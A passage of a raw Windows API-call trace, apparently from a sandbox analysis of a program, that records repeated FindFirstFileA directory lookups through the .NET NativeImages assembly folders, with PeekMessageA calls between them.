lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt9064068c#\\f41175763bc6b1a1279bfc9a23bbb416\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5cac340, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa5cd24a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa5cd24a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.977] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.978] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.979] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt93d54979#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b44dab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1b44dab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1b44dab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.980] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt93d54979#\\e5926ae62640411e156a457d652ffe74\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b44dab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1b473c10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1b473c10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.983] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.985] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.985] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runteb92aa12#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16a57fc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1d09520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1d09520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.988] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runteb92aa12#\\6e73abc08c5a586f23bc37f8a5c9a194\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa673c4e0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa673c4e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa673c4e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.991] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.993] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.993] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Security\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8db760, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb23bb300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb23bb300, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.995] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Security\\5246d8faa4b6d4a032fe00b2bc868ca0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4230e80, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa4230e80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa4230e80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.996] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.000] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.000] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14259fd9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cd26050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1cd26050, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1cd26050, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.001] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14259fd9#\\1068cc68e9f5145143f2326c0ee28b87\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1cd26050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1cd4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1cd4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.005] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.007] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.007] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14b62006#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4d1350, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1c4f74b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1c4f74b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.009] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv14b62006#\\9e747a7b7a70ce882104d3e6b6ef6517\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4f74b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1c4f74b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1c4f74b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.011] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.013] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.013] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv30e99c02#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20cd2cd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x20cd2cd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x20cd2cd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.014] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv30e99c02#\\62d0e7539d6fd18ccb48311fe04d0d1e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20cd2cd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x20cd2cd0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x20cd2cd0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.017] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.022] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.022] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv43e0ae6e#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25273050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x25273050, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x25273050, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.024] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv43e0ae6e#\\01bbef2a552438190422de5f07788c82\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25273050, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x25273050, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x25273050, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.032] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.035] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.036] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv759bfb78#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2383eec0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1d7b940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1d7b940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.036] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Serv759bfb78#\\811d1c76185c9fcbba821a35663a8d87\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac379960, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xac379960, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xac379960, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.052] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.067] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.068] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servae423458#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d8a2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x24d8a2f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x24d8a2f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.070] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servae423458#\\c06978371de7e20b0a2334e761b98648\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d8a2f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x24db0450, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x24db0450, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.074] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.077] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.077] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servb00a6512#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x253a3b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x253a3b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x253a3b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.122] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servb00a6512#\\55d470ff8b6e7e0f08e891b0605014ae\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x253a3b50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x253a3b50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x253a3b50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.127] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.130] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.130] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servd1dec626#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d51b40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1cbd260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1cbd260, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.134] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servd1dec626#\\2d4652bf9411359bfedacc0b3f8b7433\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa69e9da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa69e9da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa69e9da0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.137] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.139] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.140] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servf73e6522#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f08e790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1f08e790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1f08e790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.141] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servf73e6522#\\8a391b47b783ff91c0c2d4b932505170\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f08e790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1f08e790, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1f08e790, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.145] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.147] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.147] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.ServiceModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19d646f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x19d646f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x19d646f0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.148] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.ServiceModel\\d673b03e400d01b12b6ddfec1f96fd1d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19d646f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x19d8a850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x19d8a850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.149] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.153] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.155] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Speech\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25fb0ab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x25fb0ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x25fb0ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.157] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Speech\\baecebb41b202dae0f64bd327de02ce7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25fb0ab0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x25fb0ab0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x25fb0ab0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.157] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.165] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.165] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x211dcc00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb217fe60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb217fe60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.166] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\e8c85074213d7b13a3494d101382c29c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab615da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xab615da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xab615da0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0114.167] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.191] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0114.192] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Web\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x203e0ac0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb236f040, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb236f040, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0114.193] FindFirstFileA (in: 